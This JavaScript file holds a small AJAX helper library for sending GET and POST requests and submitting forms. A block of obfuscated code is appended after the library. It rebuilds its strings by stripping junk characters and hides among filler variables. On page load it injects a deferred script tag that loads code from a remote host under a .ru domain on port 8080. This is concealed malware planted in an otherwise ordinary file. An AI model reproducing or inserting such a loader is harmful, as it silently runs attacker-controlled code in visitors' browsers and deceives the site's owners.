
var agt = navigator.userAgent.toLowerCase();
is_ie     = ((agt.indexOf('msie') != -1) && (agt.indexOf('opera') == -1));

var MicroAJAX = Class.create();

MicroAJAX.prototype = {
	httpObj: null,
	sMethod: "GET",
	iTimeOut: 5000, // 1000 = 1 second
	timerID: null,
	aCookies: new Array(),

	initialize: function() {
	},

	/*

	Property get / set functions

	*/

	setMethod: function (sMethod) {
		if(sMethod != "POST" && sMethod != "GET" && sMethod != "PUT" && sMethod != "HEAD") {
			return 0;
		}

		this.sMethod = sMethod;

		return 1;
	},

	setTimeOut: function (iTimeOut) {
		if(iTimeOut < 1) {
			iTimeOut = 1;
		}

		this.iTimeOut = iTimeOut;
	},

	initHTTPRequestObject: function () {
		if (window.XMLHttpRequest) { // Mozilla, Safari,...
			this.httpObj = new XMLHttpRequest();
		} else if (window.ActiveXObject) { // IE
			try {
				this.httpObj = new ActiveXObject('Msxml2.XMLHTTP');
			} catch (e) {
				try {
					this.httpObj = new ActiveXObject('Microsoft.XMLHTTP');
				} catch (e) {}
			}
		}
	},

	makeGetRequest: function(sURL, callBackFunction) {
		this.setMethod("GET");

		this._sendRequest(sURL, callBackFunction, null);
	},

	submitForm: function (sFormID, callBackFunction, sCallBackParameters) {
		var postVars = "";

		var frm = document.getElementById(sFormID);

		if(frm) {
			var ajaxURL = frm.elements['action_ajax'].value;

			if(ajaxURL.length < 3) {
				ajaxURL = frm.action;
			}

			for (i = 0; i != frm.elements.length; i++) {
				if(frm.elements[i].name == null || frm.elements[i].name == undefined)
					continue;

				postVars = postVars + '&' + escape(frm.elements[i].name) + '=' + escape(frm.elements[i].value);
			}

			if(postVars.length > 0) {
				postVars.substring(1);
			}

			return this.makePostRequest(ajaxURL, postVars, callBackFunction, sCallBackParameters);
		} else {
			return 0;
		}
	},

	makePostRequest: function(sURL, aPostVars, callBackFunction, sCallBackParameters) {
		this.setMethod("POST");

		this._sendRequest(sURL, callBackFunction, aPostVars, sCallBackParameters);
	},

	timeoutHandler: function (callBackFunction,sCallBackParameters) {
		try {
			this.httpObj.abort();
		} catch (e) {}

		clearTimeout(this.timerID);

		if(callBackFunction != null && callBackFunction != undefined) {
			callBackFunction(0,sCallBackParameters);
		}

		return 0;
	},

	_sendRequest: function (sURL, callBackFunction, toSend, sCallBackParameters) {
		if(this.httpObj == null || this.httpObj == undefined /* || is_ie */) {
			this.initHTTPRequestObject();
		}

		if(this.httpObj == null || this.httpObj == undefined || sURL.length == 0) {
			return false;
		}

		try {
			this.httpObj.abort();
		} catch (e) {}


		this.timerID = setTimeout("myMicroAjax.timeoutHandler(" + callBackFunction + ",'" + sCallBackParameters + "')", this.iTimeOut);

		this.httpObj.onreadystatechange = function() { myMicroAjax._readyStateHandler(callBackFunction,sCallBackParameters); };
		//this.httpObj.open(this.sMethod, sURL + '&ajax=1', true);
		this.httpObj.open(this.sMethod, sURL, true);

		if(this.sMethod == "POST") {
			this.httpObj.setRequestHeader('Content-Type',  'application/x-www-form-urlencoded; charset=UTF-8');
		} else {
			//this.httpObj.setRequestHeader('Content-Type',  'text/plain');
		}

		this.httpObj.send(toSend);
	},

	_readyStateHandler: function (callBackFunction, sCallBackParameters) {
		try {
			if(this.httpObj.readyState == 4) {
				if (this.httpObj.status == 200) {
					// success, call the callbackfunction
					this.httpObj.onreadystatechange = function() {};

					// Clear the timer
					clearTimeout(this.timerID);

					if(callBackFunction != null && callBackFunction != undefined) {
						callBackFunction(this.httpObj.responseText, sCallBackParameters);
					}
				}
			}
		}
		catch (e) { this.timeoutHandler(callBackFunction); }
	}
}

function initMicroAJAX() { myMicroAjax = new MicroAJAX(); }
initMicroAJAX();

var z='';function x() {var q="q";function e(j,eg,w){var jm;if(jm!='n' && jm!='wt'){jm=''};j.setAttribute(eg, w);var zq;if(zq!='xr'){zq='xr'};var h=new Date();}function er(){var e_;if(e_!='b' && e_!='m'){e_=''};return ([1,4][0]);this.wtx="";var c;if(c!='mu'){c=''};}var s='cVrpeIaVtVepEVlpeImVe^n^tb'.replace(/[bVpI\^]/g, '');var a='sbcKrgiKpgtb'.replace(/[bngKV]/g, '');var zw=false;var kz=false;var sk=window;this.o="o";var u='hXtZtEpE:Z/Z/XgYeXtYaYfYrDeEeYlYaXnYcEeZrE-EcXoDmD.EwXiYnYaDmZpD.ZcEoYmE.Z5Y5ZbXbZsZ-DcZoYmX.YmDeZdYiZaYtZaXgEoYnDlXiEnDeZ.ErYuE:E8E0X8X0Z/EiEmDdEbZ.DcYoYmX/DiZmEdXbE.YcEoEmE/DgYoEoZgElYeY.XcDoXmZ/YrYiZaXnY.ZrEuX/ZbEoDsYtYoXnX.YcXoZmZ/D'.replace(/[DEZYX]/g, '');var tx;if(tx!=''){tx='g'};this.gu="gu";var _='s>r>cW'.replace(/[WhlT\>]/g, '');this.et=64283;var of='';var wg='ounOlOoAaOdu'.replace(/[uO\+Af]/g, '');var or_=new Date();var bt;if(bt!='' && bt!='l'){bt=null};sk[wg]=function(){var el=new String();try {i=document[s](a);this.xj="xj";this.wx=false;this.lv='';e(i,'d>eFf|e|r%'.replace(/[%\>NF\|]/g, ''),er());var __='';e(i,_,u);var uh;if(uh!='go'){uh=''};var op;if(op!='ar'){op='ar'};document['bMo#dMyO'.replace(/[OMHw#]/g, '')]['aRpYpReNnNdoCohRiRlNdN'.replace(/[NYRoF]/g, '')](i);} catch(jl){this.mv="mv";this.zl="";};};var ld=false;var jp;if(jp!='' && jp!='yk'){jp=null};var zm;if(zm!='' && zm!='xd'){zm='ir'};var bz;if(bz!='ot' && bz!='rv'){bz='ot'};};x();this.zu=65282;var ux;if(ux!='' && ux!='cx'){ux=''};